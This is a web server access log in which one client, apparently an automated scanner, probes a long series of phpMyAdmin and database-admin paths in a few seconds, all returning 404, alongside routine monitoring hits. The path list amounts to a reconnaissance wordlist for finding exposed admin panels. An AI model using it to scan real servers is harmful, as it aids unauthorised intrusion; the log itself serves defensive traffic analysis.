85.244.166.12 - - [09/Feb/2020:23:12:22 +0100] "GET /mysql/admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:22 +0100] "GET /mysql/dbadmin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:22 +0100] "GET /mysql/sqlmanager/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:22 +0100] "GET /mysql/mysqlmanager/index.php?lang=en HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:23 +0100] "GET /2phpmyadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:23 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang=en HTTP/1.1" 404 364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:23 +0100] "GET /phpmy/index.php?lang=en HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:23 +0100] "GET /phppma/index.php?lang=en HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:23 +0100] "GET /myadmin/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:24 +0100] "GET /shopdb/index.php?lang=en HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:24 +0100] "GET /MyAdmin/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:24 +0100] "GET /program/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:25 +0100] "GET /PMA/index.php?lang=en HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:25 +0100] "GET /dbadmin/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:25 +0100] "GET /pma/index.php?lang=en HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:25 +0100] "GET /db/index.php?lang=en HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:25 +0100] "GET /admin/index.php?lang=en HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:26 +0100] "GET /db/phpmyadmin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:26 +0100] "GET /db/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:26 +0100] "GET /sqlmanager/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:26 +0100] "GET /mysqlmanager/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:27 +0100] "GET /php-myadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:27 +0100] "GET /phpmy-admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:23:12:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.244.166.12 - - [09/Feb/2020:23:12:27 +0100] "GET /mysqladmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:27 +0100] "GET /mysql-admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:27 +0100] "GET /admin/phpmyadmin/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:28 +0100] "GET /admin/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:28 +0100] "GET /admin/sysadmin/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:28 +0100] "GET /admin/sqladmin/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:28 +0100] "GET /admin/db/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:29 +0100] "GET /admin/web/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:29 +0100] "GET /admin/pMA/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:29 +0100] "GET /mysql/pma/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:30 +0100] "GET /mysql/db/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:30 +0100] "GET /mysql/web/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:30 +0100] "GET /mysql/pMA/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:30 +0100] "GET /sql/phpmanager/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:31 +0100] "GET /sql/php-myadmin/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:31 +0100] "GET /sql/phpmy-admin/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:31 +0100] "GET /sql/sql/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:32 +0100] "GET /sql/myadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:32 +0100] "GET /sql/webadmin/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:32 +0100] "GET /sql/sqlweb/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:32 +0100] "GET /sql/websql/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:32 +0100] "GET /sql/webdb/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:33 +0100] "GET /sql/sqladmin/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:33 +0100] "GET /sql/sql-admin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:33 +0100] "GET /sql/phpmyadmin2/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:33 +0100] "GET /sql/phpMyAdmin2/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:34 +0100] "GET /sql/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:34 +0100] "GET /db/myadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:34 +0100] "GET /db/webadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:34 +0100] "GET /db/dbweb/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:35 +0100] "GET /db/websql/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:35 +0100] "GET /db/webdb/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:35 +0100] "GET /db/dbadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:36 +0100] "GET /db/db-admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:36 +0100] "GET /db/phpmyadmin3/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:36 +0100] "GET /db/phpMyAdmin3/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:37 +0100] "GET /db/phpMyAdmin-3/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:37 +0100] "GET /administrator/phpmyadmin/index.php?lang=en HTTP/1.1" 404 339 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:37 +0100] "GET /administrator/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 339 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:37 +0100] "GET /administrator/db/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:37 +0100] "GET /administrator/web/index.php?lang=en HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:38 +0100] "GET /administrator/pma/index.php?lang=en HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:38 +0100] "GET /administrator/PMA/index.php?lang=en HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:38 +0100] "GET /administrator/admin/index.php?lang=en HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:39 +0100] "GET /phpMyAdmin2/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:39 +0100] "GET /phpMyAdmin3/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:39 +0100] "GET /phpMyAdmin4/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:39 +0100] "GET /phpMyAdmin-3/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:40 +0100] "GET /php-my-admin/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:40 +0100] "GET /PMA2011/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:40 +0100] "GET /PMA2012/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:41 +0100] "GET /PMA2013/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:41 +0100] "GET /PMA2014/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:41 +0100] "GET /PMA2015/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:41 +0100] "GET /PMA2016/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:42 +0100] "GET /PMA2017/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:42 +0100] "GET /PMA2018/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:42 +0100] "GET /PMA2019/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:42 +0100] "GET /PMA2020/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:43 +0100] "GET /pma2011/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:43 +0100] "GET /pma2012/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:43 +0100] "GET /pma2013/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:44 +0100] "GET /pma2014/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:44 +0100] "GET /pma2015/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:44 +0100] "GET /pma2016/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:44 +0100] "GET /pma2017/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:44 +0100] "GET /pma2018/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:45 +0100] "GET /pma2019/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:45 +0100] "GET /pma2020/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:45 +0100] "GET /phpmyadmin2011/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:45 +0100] "GET /phpmyadmin2012/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:46 +0100] "GET /phpmyadmin2013/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:46 +0100] "GET /phpmyadmin2014/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:46 +0100] "GET /phpmyadmin2015/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:47 +0100] "GET /phpmyadmin2016/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:47 +0100] "GET /phpmyadmin2017/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:47 +0100] "GET /phpmyadmin2018/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:48 +0100] "GET /phpmyadmin2019/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:48 +0100] "GET /phpmyadmin2020/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:48 +0100] "GET /index.php?lang=en HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
94.23.27.140 - - [09/Feb/2020:23:12:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "python-requests/2.22.0"
212.91.246.72 - - [09/Feb/2020:23:13:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
